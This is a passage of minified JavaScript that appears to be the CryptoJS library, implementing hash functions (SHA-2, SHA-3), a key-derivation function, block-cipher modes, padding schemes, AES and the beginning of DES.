i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 